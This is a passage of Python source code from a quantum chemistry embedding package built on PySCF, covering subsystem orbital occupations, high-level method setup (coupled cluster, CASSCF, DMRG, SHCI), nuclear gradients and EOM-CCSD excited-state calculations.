unocc_energy_m = np.ma.masked_where(alpha_occ>0, self.env_mo_energy[0])\n alpha_lumo = np.min(np.ma.compressed(unocc_energy_m))\n self.fermi[0] = (alpha_homo + alpha_lumo) / 2.\n\n beta_occ = copy(self.env_mo_occ[1])\n if not np.all(beta_occ):\n occ_energy_m = np.ma.masked_where(beta_occ==0, self.env_mo_energy[1])\n beta_homo = np.max(np.ma.compressed(occ_energy_m))\n unocc_energy_m = np.ma.masked_where(beta_occ>0, self.env_mo_energy[1])\n beta_lumo = np.min(np.ma.compressed(unocc_energy_m))\n self.fermi[1] = (beta_homo + beta_lumo) / 2.\n\n def __set_occupation(self):\n \"\"\"Sets the orbital occupation numbers.\n \"\"\"\n #Smear sigma may not be right for single elctron\n self.env_mo_occ = [np.zeros_like(self.env_mo_energy[0]),\n np.zeros_like(self.env_mo_energy[1])]\n \n #if self.env_smearsigma > 0.:\n # self.env_mo_occ[0] = ((self.env_mo_energy[0]\n # - self.fermi[0]) / self.env_smearsigma)\n # occ_orb = np.where(self.env_mo_occ[0] < 1000)\n # vir_orb = np.where(self.env_mo_occ[0] >= 1000)\n # self.env_mo_occ[0][occ_orb] = 1. / (np.exp(self.env_mo_occ[0][occ_orb]) + 1.)\n # self.env_mo_occ[0][vir_orb] = 0.\n\n # self.env_mo_occ[1] = (self.env_mo_energy[1] - self.fermi[1]) / self.env_smearsigma\n # occ_orb = np.where(self.env_mo_occ[1] < 1000)\n # vir_orb = np.where(self.env_mo_occ[1] >= 1000)\n # self.env_mo_occ[1][occ_orb] = 1. / (np.exp(self.env_mo_occ[1][occ_orb]) + 1.)\n # self.env_mo_occ[1][vir_orb] = 0.\n\n if self.unrestricted:\n mo_energy = self.env_mo_energy\n mo_coeff = self.env_mo_coeff\n self.env_mo_occ = self.env_scf.get_occ(mo_energy, mo_coeff)\n elif self.mol.spin != 0:\n mo_energy = self.env_mo_energy[0]\n mo_coeff = self.env_mo_coeff[0]\n mo_occ = self.env_scf.get_occ(mo_energy, mo_coeff)\n alpha_occ = (mo_occ > 0.).astype(int)\n beta_occ = (mo_occ > 1.).astype(int)\n self.env_mo_occ = [alpha_occ, beta_occ]\n else:\n mo_energy = self.env_mo_energy[0]\n mo_coeff = self.env_mo_coeff[0]\n mo_occ = self.env_scf.get_occ(mo_energy, mo_coeff)\n self.env_mo_occ = [mo_occ/2., mo_occ/2.]\n\nclass ClusterHLSubSystem(ClusterEnvSubSystem):\n \"\"\"\n Extends ClusterEnvSubSystem to calculate higher level methods.\n\n Attributes\n ----------\n hl_method : str\n Which method to use for high level calculation.\n hl_init_guess : str\n Specifies initial dmat guess for hl method.\n hl_sr_method : str\n Specifies which single reference method to use for high level\n calculations.\n hl_spin : int\n The spin of the high level calculation, different from the\n lower level calculation.\n hl_conv : float\n The density convergence criteria of the high level calculation.\n hl_grad : float\n The convergence of the electronic gradient of the\n high level calculation.\n hl_cycles : int\n The number of scf cycles for the high level method.\n hl_damp : float\n The damping parameter for the high level method.\n hl_shift : float\n The orbital shift parameter for the high level method.\n hl_ext : str\n The name of an external code to calculate the high level energy.\n hl_unrestricted : bool\n Whether the high level calculation is unrestricted.\n hl_compress_approx : bool\n Whether to use the compression approximation for the high levem method.\n hl_density_fitting : bool\n Whether to use density fitting for high level calculation.\n hl_save_orbs : bool\n Whether to save the high level orbitals.\n hl_save_density : bool\n Whether to save the high level electron density.\n hl_save_spin_density : bool\n Whether to save high level electron spin density.\n hl_mo_coeff : array\n Array of high level molecular orbital coeffecients\n hl_mo_occ : array\n Array of high level molecular orbital occupation\n hl_mo_energy : array\n Array of high level molecular orbital energies\n hl_dmat : array\n Array of high level molecular electron density\n hl_sr_scf : SCF Object\n PySCF SCF object for the single reference part of high level calculation.\n hl_energy : float\n The energy of the high level method.\n\n Methods\n -------\n __set_hl_method_settings(hl_dict)\n Set additional object attributes specific to the high level method.\n get_hl_proj_energy(dmat, proj_pot)\n Gets the projection operator energy based on the high level density.\n get_hl_in_env_energy()\n Gets the energy of the high level calculation in the potential of the\n environment.\n __get_ext_energy()\n Uses the specified external code to calculate the high level energies.\n __do_sr_scf()\n Performs the inital single reference calculation for the high level\n method.\n __gen_hf_scf()\n Initializes a hartree-fock single reference calculation as the initial\n guess for high level calculations.\n __gen_dft_scf()\n Initializes a DFT single reference calculation as the initial guess\n for high level calculations.\n __do_cc()\n Performs a coupled cluster calculation as the high level method.\n __do_mp()\n Performs an MP calculation as the high level method.\n __do_casscf()\n Performs a CASSCF calculation as the high level method.\n __do_fci()\n Performs an FCI calculation as the high level method.\n __do_dmrg()\n Performs a DMRG calculation as the high level method.\n __do_shci()\n Performs an SHCI calculation as the high level method.\n __save_fcidump()\n Saves a formatted fcidump file at the specified location.\n __save_hl_density_file()\n Saves the high level electron density to a file.\n __save_hl_orbital_file()\n Saves the high level orbitals to a file.\n \"\"\"\n\n def __init__(self, mol, env_method, hl_method, hl_order=1, hl_init_guess=None,\n hl_sr_method=None, hl_excited=None, hl_spin=None, hl_conv=None, hl_grad=None,\n hl_cycles=None, hl_damp=0., hl_shift=0., use_ext=None,\n hl_unrestricted=False, hl_compress_approx=False,\n hl_density_fitting=False, hl_save_orbs=False,\n hl_save_density=False, hl_save_spin_density=False,\n hl_dict=None, hl_excited_dict=None, **kwargs):\n \"\"\"\n Parameters\n ----------\n mol : Mole\n The pyscf Mole object specifitying geometry and basis.\n env_method : str\n Defines the method for use in env calculations.\n hl_method : str\n Defines the high level method for the calculations.\n hl_order : int, optional\n Specifies the subsystem within the context of the full system.\n (default is 1)\n hl_init_guess : str, optional\n Specifies initial dmat guess for hl method.\n (default is None)\n hl_sr_method : str, optional\n Specifies which single reference method to use for high level\n calculations.\n (default is None)\n hl_spin : int, optional\n The spin of the high level calculation, different from the\n lower level calculation.\n (default is None)\n hl_conv : float, optional\n The density convergence criteria of the high level calculation.\n (default is None)\n hl_grad : float, optional\n The convergence of the electronic gradient of the\n high level calculation.\n (default is None)\n hl_cycles : int, optional\n The number of scf cycles for the high level method.\n (default is None)\n hl_damp : float, optional\n The damping parameter for the high level method.\n (default is 0.)\n hl_shift : float, optional\n The orbital shift parameter for the high level method.\n (default is 0.)\n hl_ext : str, optional\n The name of an external code to calculate the high level energy.\n (default is None)\n hl_unrestricted : bool, optional\n Whether the high level calculation is unrestricted.\n (default is False)\n hl_compress_approx : bool, optional\n Whether to use the compression approximation for the high levem method.\n (default is False)\n hl_density_fitting : bool, optional\n Whether to use density fitting for high level calculation.\n (default is False)\n hl_save_orbs : bool, optional\n Whether to save the high level orbitals.\n (default is False)\n hl_save_density : bool, optional\n Whether to save the high level electron density.\n (default is False)\n hl_save_spin_density : bool, optional\n Whether to save high level electron spin density.\n (default is False)\n hl_dict : dict, optional\n A dictionary containing method specific keywords.\n (default is None)\n \"\"\"\n\n super().__init__(mol, env_method, **kwargs)\n\n self.hl_method = hl_method\n self.hl_init_guess = hl_init_guess\n self.hl_sr_method = hl_sr_method\n self.hl_excited = hl_excited\n if hl_spin:\n self.hl_spin = hl_spin\n else:\n self.hl_spin = self.mol.spin\n self.hl_conv = hl_conv\n self.hl_grad = hl_grad\n self.hl_cycles = hl_cycles\n self.hl_damp = hl_damp\n self.hl_shift = hl_shift\n\n self.hl_ext = use_ext\n self.hl_unrestricted = hl_unrestricted\n self.hl_compress_approx = hl_compress_approx\n self.hl_density_fitting = hl_density_fitting\n self.hl_save_orbs = hl_save_orbs\n self.hl_save_density = hl_save_density\n self.hl_save_spin_density = hl_save_spin_density\n self.__set_hl_method_settings(hl_dict)\n # only initialize hl_excited_dict if hl_excited==True\n if hl_excited:\n self.__set_hl_excited_settings(hl_excited_dict)\n\n self.hl_mo_coeff = None\n self.hl_mo_occ = None\n self.hl_mo_energy = None\n self.hl_dmat = None\n self.hl_sr_scf = None\n self.hl_energy = None\n\n def __set_hl_method_settings(self, hl_dict):\n \"\"\"Sets the object parameters based on the hl settings\n\n Parameters\n ----------\n hl_dict : dict\n A dictionary containing the hl specific settings.\n \"\"\"\n\n if hl_dict is None:\n hl_dict = {}\n self.hl_dict = hl_dict\n\n if 'cc' in self.hl_method:\n self.cc_loc_orbs = hl_dict.get(\"loc_orbs\")\n self.cc_init_guess = hl_dict.get(\"cc_init_guess\")\n self.cc_froz_core_orbs = hl_dict.get(\"froz_core_orbs\")\n if 'cas' in self.hl_method:\n self.cas_loc_orbs = hl_dict.get(\"loc_orbs\")\n self.cas_init_guess = hl_dict.get(\"cas_init_guess\")\n self.cas_active_orbs = hl_dict.get(\"active_orbs\")\n self.cas_avas = hl_dict.get(\"avas\")\n if 'dmrg' in self.hl_method:\n self.dmrg_max_m = hl_dict.get(\"maxM\")\n self.dmrg_num_thrds = hl_dict.get(\"num_thirds\")\n if 'shciscf' in self.hl_method:\n self.shci_mpi_prefix = hl_dict.get(\"mpi_prefix\")\n self.shci_sweep_iter = hl_dict.get(\"sweep_iter\")\n self.shci_sweep_epsilon = hl_dict.get(\"sweep_epsilon\")\n self.shci_no_stochastic = hl_dict.get(\"no_stochastic\")\n self.shci_npt_iter = hl_dict.get(\"NPTiter\")\n self.shci_no_rdm = hl_dict.get(\"NoRDM\")\n\n def __set_hl_excited_settings(self, hl_excited_dict):\n \"\"\"Sets the object parameters based on the excited settings\n\n Parameters\n ----------\n hl_excited_dict : dict\n A dictionary containing the hl excited state specific settings.\n \"\"\"\n\n if hl_excited_dict is None:\n hl_excited_dict = {}\n self.hl_excited_dict = hl_excited_dict\n self.hl_excited_nroots = hl_excited_dict.get('nroots')\n self.hl_excited_cc3_root = hl_excited_dict.get('cc3_root')\n self.hl_excited_conv = hl_excited_dict.get('conv')\n self.hl_excited_cycles = hl_excited_dict.get('cycles')\n self.hl_excited_type = hl_excited_dict.get('eom_type')\n self.hl_excited_koopmans = hl_excited_dict.get('koopmans')\n self.hl_excited_tda = hl_excited_dict.get('tda')\n self.hl_excited_analyze = hl_excited_dict.get('analyze')\n self.hl_excited_triple = hl_excited_dict.get('Ta_star')\n\n # set default number of excited states to 3\n if self.hl_excited_nroots is None: self.hl_excited_nroots=3\n if self.hl_excited_cc3_root is None: self.hl_excited_cc3_root=1\n if self.hl_excited_type is None: self.hl_excited_type = 'ee'\n if self.hl_excited_type is None: self.hl_excited_type = True\n\n\n def get_hl_proj_energy(self, dmat=None, proj_pot=None):\n \"\"\"Return the projection energy\n\n Parameters\n ----------\n dmat : numpy.float64, optional\n The hl subsystem density matrix (default is None).\n proj_pot : numpy.float64, optional\n The projection potential (default is None).\n \"\"\"\n\n if dmat is None:\n dmat = self.hl_dmat\n if proj_pot is None:\n proj_pot = self.proj_pot\n return np.trace(dmat, proj_pot)\n\n\n def get_hl_in_env_energy(self):\n \"\"\"Returns the embedded high level method energy.\n\n Returns\n -------\n float\n The energy of the embedded high level calculation.\n \"\"\"\n\n if self.emb_fock[0] is None:\n self.emb_pot = [np.zeros_like(self.env_dmat[0]), np.zeros_like(self.env_dmat[1])]\n else:\n self.update_subsys_fock()\n fock = self.subsys_fock\n self.emb_pot = (self.emb_fock[0] - fock[0],\n self.emb_fock[1] - fock[1])\n\n #Determine which method to use for the single reference orbitals.\n hf_aliases = ['hf', 'uhf', 'rhf', 'rohf']\n cc_aliases = ['ccsd', 'ccsd(t)', 'uccsd', 'uccsd(t)']\n mp_aliases = ['mp2']\n cas_regex = re.compile(r'cas(pt2)?(\\[\\d*,\\d*\\])?')\n dmrg_regex = re.compile(r'dmrg\\[.*\\].*')\n shci_regex = re.compile(r'shci(scf)?\\[.*\\].*')\n fci_aliases = ['fci']\n fcidump_aliases = ['fcidump']\n known_methods = hf_aliases + cc_aliases + mp_aliases + fci_aliases + fcidump_aliases\n self.mol.verbose = 4\n\n if (self.hl_sr_method is None and\n self.hl_method not in known_methods and\n not re.match(cas_regex, self.hl_method)):\n self.hl_sr_method = self.hl_method\n\n if self.hl_ext is not None:\n self.__get_ext_energy()\n return self.hl_energy\n\n self.__do_sr_scf()\n\n if self.hl_method in cc_aliases:\n self.__do_cc()\n\n elif self.hl_method in mp_aliases:\n self.__do_mp()\n\n elif re.match(cas_regex, self.hl_method):\n self.__do_casscf()\n\n elif self.hl_method in fci_aliases:\n self.__do_fci()\n\n elif re.match(dmrg_regex, self.hl_method):\n self.__do_dmrg()\n\n elif re.match(shci_regex, self.hl_method):\n self.__do_shci()\n\n elif self.hl_method in fcidump_aliases:\n self.__save_fcidump()\n\n return self.hl_energy\n\n def calc_den_grad(self):\n \"\"\"Calculates the gradient of the electron density wrt nuc position.\"\"\"\n\n self.emb_hess = None\n if self.unrestricted:\n if self.env_method == 'hf':\n self.emb_hess = hessian.uhf.Hessian(self.env_scf)\n else:\n self.emb_hess = hessian.uks.Hessian(self.env_scf)\n elif self.mol.spin == 0:\n if self.env_method == 'hf':\n self.emb_hess = hessian.rhf.Hessian(self.env_scf)\n else:\n self.emb_hess = hessian.rks.Hessian(self.env_scf)\n else:\n print (\"NO ROHF Den Grad\")\n\n if not (self.unrestricted or self.mol.spin != 0):\n env_mo_en = self.env_mo_energy[0]\n env_mo_coeff = self.env_mo_coeff[0]\n env_mo_occ = self.env_mo_occ[0] * 2.\n else:\n env_mo_en = self.env_mo_energy\n env_mo_coeff = self.env_mo_coeff\n env_mo_occ = self.env_mo_occ\n\n #Modify core hamiltonian\n emb_h1ao = np.zeros_like(self.atom_hcore_grad)\n self.emb_dm_grad = np.zeros_like(self.atom_hcore_grad)\n atmlst = range(self.mol.natm)\n for atm in atmlst:\n emb_h1ao[atm] += self.atom_hcore_grad[atm] + self.atom_emb_pot_grad[atm] + self.atom_proj_grad[atm]\n\n #Get gradient of MOs\n emb_mo1, emb_mo_e1 = self.emb_hess.solve_mo1(env_mo_en, env_mo_coeff, env_mo_occ, emb_h1ao)\n #Calcualate density grad\n env_mocc = env_mo_coeff[:,env_mo_occ>0]\n for atm in atmlst:\n self.emb_dm_grad[atm] = np.einsum('ypi,qi->ypq', emb_mo1[atm], env_mocc)\n\n return (self.emb_dm_grad)\n \n\n\n def calc_nuc_grad(self):\n \"\"\"Calculates the nuclear gradient of the embedded subsystems.\"\"\"\n\n #currently for testing, separated out the weighted density matrix. In the final form, the weighted density matrix can use the mo energies and only do it once to get the full subsystem e.\n \n #ENV\n #Isolated subsystem\n if not (self.unrestricted or self.mol.spin != 0):\n env_mo_en = self.env_mo_energy[0]\n env_mo_coeff = self.env_mo_coeff[0]\n env_mo_occ = self.env_mo_occ[0] * 2.\n else:\n env_mo_en = self.env_mo_energy\n env_mo_coeff = self.env_mo_coeff\n env_mo_occ = self.env_mo_occ\n\n env_sub_grad_obj = self.env_scf.nuc_grad_method()\n env_sub_de = env_sub_grad_obj.grad_elec(mo_energy=env_mo_en, mo_coeff=env_mo_coeff, mo_occ=env_mo_occ)\n print ('env_sub_de')\n print (env_sub_de)\n #Embedded potential gradient\n\n self.atom_emb_pot_grad = np.zeros_like(self.atom_full_hcore_grad)\n self.atom_proj_grad = np.zeros_like(self.atom_full_hcore_grad)\n self.atom_hcore_grad = np.zeros_like(self.atom_full_hcore_grad)\n atmlst = range(self.mol.natm)\n aoslices = self.mol.aoslice_by_atom()\n env_dm = self.get_dmat()\n sub_hcore_deriv = env_sub_grad_obj.hcore_generator(self.mol)\n num_rank = self.mol.nao_nr()\n sub_s1_grad = env_sub_grad_obj.get_ovlp(self.mol)\n env_emb_pot_de = np.zeros_like(env_sub_de)\n env_proj_de = np.zeros_like(env_sub_de)\n\n for atm in atmlst:\n p0, p1 = aoslices[atm,2:]\n atom_sub_hcore_grad = sub_hcore_deriv(atm)\n emb_hcore = self.atom_full_hcore_grad[atm] - atom_sub_hcore_grad\n self.atom_hcore_grad[atm] = atom_sub_hcore_grad\n\n #emb_hcore = self.atom_full_hcore_grad[atm] - atom_sub_hcore_grad\n #print (\"emb_hcore_grad\")\n env_emb_pot_de[atm] += np.einsum('xij,ij->x', emb_hcore, env_dm)\n print (env_emb_pot_de[atm])\n env_emb_pot_de[atm] += (np.einsum('xij,ij->x', self.atom_emb_vhf_grad[0], env_dm)) * 4.\n print (env_emb_pot_de[atm])\n #Need to do nuclear-electron attraction I think.\n\n #print ('emb_vhf_grad')\n #print (np.einsum('xij,ij->x', self.atom_emb_vhf_grad[atm][:,p0:p1], env_dm[p0:p1]))\n #env_emb_pot_de[atm] += np.einsum('xij,ij->x', self.atom_emb_vhf_grad[atm][:,p0:p1], env_dm[p0:p1] * -2.)\n #self.atom_emb_pot_grad[atm] = self.atom_full_hcore_grad[atm] - atom_sub_hcore_grad + (self.atom_emb_vhf_grad[atm] * 2.)\n #print (\"VHF EMB GRAD\")\n #print (self.atom_emb_vhf_grad[atm])\n #env_emb_pot_de[atm] += np.einsum('xij,ij->x', self.atom_emb_pot_grad[atm], env_dm)\n #env_proj_de[atm] += np.einsum('xij,ij->x', self.atom_proj_grad[atm], env_dm)\n\n\n #print (\"Calculating subsystem electron density gradient\")\n #self.calc_den_grad()\n ##Test the density gradient.\n #sub_hcore = self.env_scf.get_hcore()\n #sub_hcore_grad = []\n #for atm in atmlst:\n # gradh = np.einsum('xij,ij->x', sub_hcore_deriv(atm), env_dm)\n # sub_hcore_grad.append(gradh)\n # graddmh = np.einsum('xij,ij->x', self.emb_dm_grad[atm], sub_hcore)\n # sub_hcore_grad[atm] += graddmh\n\n #print (\"DMAT\")\n #print (np.trace(env_dm))\n #print (\"DMAT DERIV\")\n #print (np.trace(self.emb_dm_grad[0][2]))\n #print (\"HCORE EN\")\n #print (np.einsum('ij,ji->', sub_hcore, env_dm))\n #print (\"Hcore Grad\")\n #print (sub_hcore_grad)\n\n env_grad = env_sub_de + env_emb_pot_de + env_proj_de\n print (\"ENV GRAD\")\n print (env_grad)\n\n #HL\n hf_aliases = ['hf', 'uhf', 'rhf', 'rohf']\n cc_aliases = ['ccsd', 'ccsd(t)', 'uccsd', 'uccsd(t)']\n mp_aliases = ['mp2']\n #Isolated subsystem\n if self.hl_method in hf_aliases:\n hl_sub_grad_obj = self.hl_sr_scf.nuc_grad_method()\n hl_mo_e = self.hl_sr_scf.mo_energy\n hl_mo_coeff = self.hl_sr_scf.mo_coeff\n hl_mo_occ = self.hl_sr_scf.mo_occ\n hl_sub_grad = hl_sub_grad_obj.grad_elec(mo_energy=hl_mo_e, mo_coeff=hl_mo_coeff, mo_occ=hl_mo_occ)\n hl_rdm1e = hl_sub_grad_obj.make_rdm1e(hl_mo_e, hl_mo_coeff, hl_mo_occ)\n hl_dm = self.hl_sr_scf.make_rdm1()\n\n #print (hl_sub_grad)\n hl_proj_de = np.zeros((len(atmlst),3))\n hl_emb_pot_de = np.zeros((len(atmlst),3))\n hl_sub_vhf_grad = hl_sub_grad_obj.get_veff(self.mol, hl_dm)\n hl_sub_hcore_deriv = hl_sub_grad_obj.hcore_generator(self.mol)\n for atm in atmlst:\n p0, p1 = aoslices[atm,2:]\n hl_proj_de[atm] += np.einsum('xij,ij->x', self.atom_proj_grad[atm], hl_dm)\n hl_emb_pot_de[atm] += np.einsum('xij,ij->x', self.atom_emb_pot_grad[atm], hl_dm)\n\n print (\"HL PROJ\")\n print (hl_proj_de)\n print (\"HL EMB POT\")\n print (hl_emb_pot_de)\n print (\"HL_SUB_GRAD\")\n print (hl_sub_grad)\n print (\"HL EMB GRAD\")\n #print (hl_proj_de + hl_emb_pot_de + hl_sub_grad)\n #print (hl_proj_de + hl_sub_grad)\n hl_grad = hl_proj_de + hl_emb_pot_de + hl_sub_grad\n #hl_grad = hl_proj_de + hl_sub_grad\n #print (hl_proj_de + hl_emb_hcore_de + hl_emb_vhf_de + hl_sub_grad)\n #hl_grad = hl_proj_de + hl_emb_hcore_de + hl_emb_vhf_de + hl_sub_grad\n\n if self.hl_method in cc_aliases:\n pass\n \n print (\"TOTAL GRAD\")\n print (hl_grad - env_grad)\n return hl_grad - env_grad\n\n def __get_ext_energy(self):\n \"\"\"Uses an external method to calculate high level energy.\n \"\"\"\n\n print(f\"use external method {self.hl_ext} for hl calculation\")\n hcore = self.env_scf.get_hcore()\n emb_proj_pot = [self.emb_pot[0] + self.proj_pot[0], self.emb_pot[1] + self.proj_pot[1]]\n ext_factory = ExtFactory()\n name_no_path = os.path.split(self.filename)[-1]\n name_no_ext = os.path.splitext(name_no_path)[0]\n file_path = os.path.split(self.filename)[0]\n scr_path = self.scr_dir\n ext_mol = gto.copy(self.mol)\n ext_mol.spin = self.hl_spin\n ext_mol.build()\n ext_obj = ext_factory.get_ext_obj(self.hl_ext, ext_mol,\n self.hl_method, emb_proj_pot,\n core_ham=hcore, filename=name_no_ext,\n work_dir=file_path, scr_dir=scr_path,\n nproc=self.nproc, pmem=self.pmem,\n save_orbs=None, save_density=False,\n hl_dict=self.hl_dict,\n hl_excited_dict=self.hl_excited_dict)\n energy = ext_obj.get_energy()\n self.hl_energy = energy[0]\n\n def __do_sr_scf(self):\n \"\"\"Initializes and runs the single reference hf object\n \"\"\"\n\n hf_aliases = ['hf', 'uhf', 'rhf', 'rohf']\n if (self.hl_sr_method is None or self.hl_sr_method in hf_aliases):\n self.__gen_hf_scf()\n else:\n self.__gen_dft_scf()\n\n if self.hl_init_guess == 'ft':\n dmat = self.get_dmat()\n elif self.hl_init_guess is not None:\n dmat = self.hl_sr_scf.get_init_guess(key=self.hl_init_guess)\n else:\n dmat = self.hl_sr_scf.get_init_guess()\n\n if self.hl_conv is not None:\n self.hl_sr_scf.conv_tol = self.hl_conv\n if self.hl_grad is not None:\n self.hl_sr_scf.conv_tol_grad = self.hl_grad\n if self.hl_cycles is not None:\n self.hl_sr_scf.max_cycle = self.hl_cycles\n self.hl_sr_scf.level_shift = self.hl_shift\n self.hl_sr_scf.damp = self.hl_damp\n\n self.hl_energy = self.hl_sr_scf.scf(dm0=dmat)\n\n #DO TDDFT or TDHF here.\n if self.hl_excited and 'cc' not in self.hl_method:\n from pyscf import tdscf\n if self.hl_excited_tda: \n hl_sr_tdscf = tdscf.TDA(self.hl_sr_scf)\n print(\"TDA calculations:\") \n else: \n try:\n hl_sr_tdscf = tdscf.TDHF(self.hl_sr_scf)\n print(\"TDHF calculations:\") \n except:\n hl_sr_tdscf = tdscf.TDDFT(self.hl_sr_scf)\n print(\"TDDFT calculations:\") \n if self.hl_excited_conv is not None: \n hl_sr_tdscf.conv_tol=self.hl_excited_conv\n if self.hl_excited_nroots is not None: \n hl_sr_tdscf.nroots = self.hl_excited_nroots\n if self.hl_excited_cycles is not None: \n hl_sr_tdscf.max_cycle = self.hl_excited_cycles \n etd = hl_sr_tdscf.kernel()[0] \n if self.hl_excited_analyze:\n hl_sr_tdscf.analyze()\n\n def __gen_hf_scf(self):\n \"\"\"Initializes the single reference hartree-fock object.\n \"\"\"\n\n #Use HF for initial guesses\n if self.hl_unrestricted:\n hl_sr_scf = scf.UHF(self.mol)\n #increase DIIS space\n hl_sr_scf.DIIS = scf.diis.EDIIS\n hl_sr_scf.diis_space = 15\n #Update the fock and electronic energies to use custom methods.\n hl_sr_scf.get_fock = lambda *args, **kwargs: (\n custom_pyscf_methods.uhf_get_fock(hl_sr_scf,\n self.emb_pot, self.proj_pot, *args, **kwargs))\n hl_sr_scf.energy_elec = lambda *args, **kwargs: (\n custom_pyscf_methods.uhf_energy_elec(hl_sr_scf,\n self.emb_pot, self.proj_pot, *args, **kwargs))\n elif self.mol.spin != 0:\n hl_sr_scf = scf.ROHF(self.mol)\n hl_sr_scf.get_fock = lambda *args, **kwargs: (\n custom_pyscf_methods.rohf_get_fock(hl_sr_scf,\n self.emb_pot, self.proj_pot, *args, **kwargs))\n hl_sr_scf.energy_elec = lambda *args, **kwargs: (\n custom_pyscf_methods.rohf_energy_elec(hl_sr_scf,\n self.emb_pot, self.proj_pot, *args, **kwargs))\n else:\n hl_sr_scf = scf.RHF(self.mol)\n emb_pot = (self.emb_pot[0] + self.emb_pot[1])/2.\n proj_pot = (self.proj_pot[0] + self.proj_pot[1])/2.\n hl_sr_scf.get_fock = lambda *args, **kwargs: (\n custom_pyscf_methods.rhf_get_fock(hl_sr_scf,\n emb_pot, proj_pot, *args, **kwargs))\n hl_sr_scf.energy_elec = lambda *args, **kwargs: (\n custom_pyscf_methods.rhf_energy_elec(hl_sr_scf,\n emb_pot, proj_pot, *args, **kwargs))\n\n self.hl_sr_scf = hl_sr_scf\n\n def __gen_dft_scf(self):\n \"\"\"Initializes the single reference dft object.\n \"\"\"\n\n #Use DFT for initial guesses\n if self.hl_unrestricted:\n hl_sr_scf = scf.UKS(self.mol)\n #Update the fock and electronic energies to use custom methods.\n hl_sr_scf.get_fock = lambda *args, **kwargs: (\n custom_pyscf_methods.uks_get_fock(hl_sr_scf,\n self.emb_pot, self.proj_pot, *args, **kwargs))\n hl_sr_scf.energy_elec = lambda *args, **kwargs: (\n custom_pyscf_methods.uks_energy_elec(hl_sr_scf,\n self.emb_pot, self.proj_pot, *args, **kwargs))\n elif self.mol.spin != 0:\n hl_sr_scf = scf.ROKS(self.mol)\n #Update the fock and electronic energies to use custom methods.\n hl_sr_scf.get_fock = lambda *args, **kwargs: (\n custom_pyscf_methods.roks_get_fock(hl_sr_scf,\n self.emb_pot, self.proj_pot, *args, **kwargs))\n hl_sr_scf.energy_elec = lambda *args, **kwargs: (\n custom_pyscf_methods.roks_energy_elec(hl_sr_scf,\n self.emb_pot, self.proj_pot, *args, **kwargs))\n else:\n hl_sr_scf = scf.RKS(self.mol)\n hl_sr_scf = scf.RKS(self.mol)\n emb_pot = (self.emb_pot[0] + self.emb_pot[1])/2.\n proj_pot = (self.proj_pot[0] + self.proj_pot[1])/2.\n hl_sr_scf.get_fock = lambda *args, **kwargs: (\n custom_pyscf_methods.rks_get_fock(hl_sr_scf,\n emb_pot, proj_pot, *args, **kwargs))\n hl_sr_scf.energy_elec = lambda *args, **kwargs: (\n custom_pyscf_methods.rks_energy_elec(hl_sr_scf,\n emb_pot, proj_pot, *args, **kwargs))\n\n #Set grid, rho and xc\n hl_sr_scf.xc = self.hl_sr_method\n self.hl_sr_scf = hl_sr_scf\n\n def __do_cc(self):\n \"\"\"Perform the requested coupled cluster calculation.\"\"\"\n\n #If dft for sr method, need to convert to hf.\n if self.hl_unrestricted or self.mol.spin != 0:\n hl_cc = cc.UCCSD(self.hl_sr_scf)\n else:\n hl_cc = cc.CCSD(self.hl_sr_scf)\n\n hl_cc.frozen = self.cc_froz_core_orbs\n hl_cc.diis_space = 15\n if self.hl_conv is not None:\n hl_cc.conv_tol = self.hl_conv\n if self.hl_cycles is not None:\n hl_cc.max_cycle = self.hl_cycles\n if \"(t)\" in self.hl_method or self.hl_excited:\n eris = hl_cc.ao2mo()\n ecc = hl_cc.kernel(eris=eris)[0]\n else:\n ecc = hl_cc.kernel()[0]\n self.hl_energy += ecc\n\n if \"(t)\" in self.hl_method:\n if self.hl_unrestricted or self.mol.spin != 0:\n ecc_t = uccsd_t.kernel(hl_cc, eris=eris)\n else:\n ecc_t = ccsd_t.kernel(hl_cc, eris=eris)\n self.hl_energy += ecc_t\n\n if self.hl_excited:\n #DO excited state embedding here.\n # in PySCF v1.7, available CC methods are\n # EE/IP/EA/SF-EOM-CCSD, EA/IP-EOM-CCSD_Ta\n # no need to distinguish RCCSD and UCCSD, it is inherited\n if self.hl_excited_conv is not None:\n hl_cc.conv_tol = self.hl_excited_conv\n if self.hl_excited_cycles is not None:\n hl_cc.max_cycle = self.hl_excited_cycles \n # import constant to convert hartree to eV and cm-1\n from pyscf.data import nist\n from pyscf.cc import eom_rccsd\n eris = hl_cc.ao2mo()\n if 'ee' in self.hl_excited_type:\n print('Only singlet excitations are considered')\n print('Spin-flip excitations are available in PySCF if wanted')\n hl_eom = eom_rccsd.EOMEESinglet(hl_cc)\n hl_eom.kernel(nroots=self.hl_excited_nroots,eris=eris)\n eev = np.around(hl_eom.eee*nist.HARTREE2EV,3)\n ecm = np.around(hl_eom.eee*nist.HARTREE2WAVENUMBER,3)\n print(f\"Embedded EE-EOM-CCSD excitation energy:\")\n print(f\"Results in hartree :{hl_eom.eee}\")\n print(f\"Results in eV :{eev}\")\n print(f\"Results in wavenumber:{ecm}\")\n print(f\"Roots converged? :{hl_eom.converged}\")\n print(\"\".center(80, '*'))\n if 'ea' in self.hl_excited_type:\n hl_eom = eom_rccsd.EOMEA(hl_cc)\n hl_eom.kernel(nroots=self.hl_excited_nroots,eris=eris)\n eev = np.around(hl_eom.eea*nist.HARTREE2EV,3)\n ecm = np.around(hl_eom.eea*nist.HARTREE2WAVENUMBER,3)\n print(f\"Embedded EA-EOM-CCSD excitation energy:\")\n print(f\"Results in hartree :{hl_eom.eea}\")\n print(f\"Results in eV :{eev}\")\n print(f\"Results in wavenumber:{ecm}\")\n print(f\"Roots converged? :{hl_eom.converged}\")\n print(\"\".center(80, '*'))\n if self.hl_excited_triple:\n from pyscf.cc import eom_kccsd_rhf\n #imds = eom_kccsd_rhf._IMDS(mykcc, eris=eris)\n #imds = imds.make_t3p2_ip_ea(mykcc)\n myeom = eom_kccsd_rhf.EOMEA_Ta(hl_cc)\n eea = myeom.eaccsd_star(nroots=self.hl_excited_nroots) \n eev = np.around(eea*nist.HARTREE2EV,3)\n ecm = np.around(eea*nist.HARTREE2WAVENUMBER,3)\n print(f\"Embedded EA-EOM-CCSD(T)(a)* excitation energy:\")\n print(f\"Results in hartree :{eea}\")\n print(f\"Results in eV :{eev}\")\n print(f\"Results in wavenumber:{ecm}\")\n print(\"\".center(80, '*'))\n if 'ip' in self.hl_excited_type:\n hl_eom = eom_rccsd.EOMIP(hl_cc)\n hl_eom.kernel(nroots=self.hl_excited_nroots,eris=eris)\n eev = np.around(hl_eom.eip*nist.HARTREE2EV,3)\n ecm = np.around(hl_eom.eip*nist.HARTREE2WAVENUMBER,3)\n print(f\"Embedded 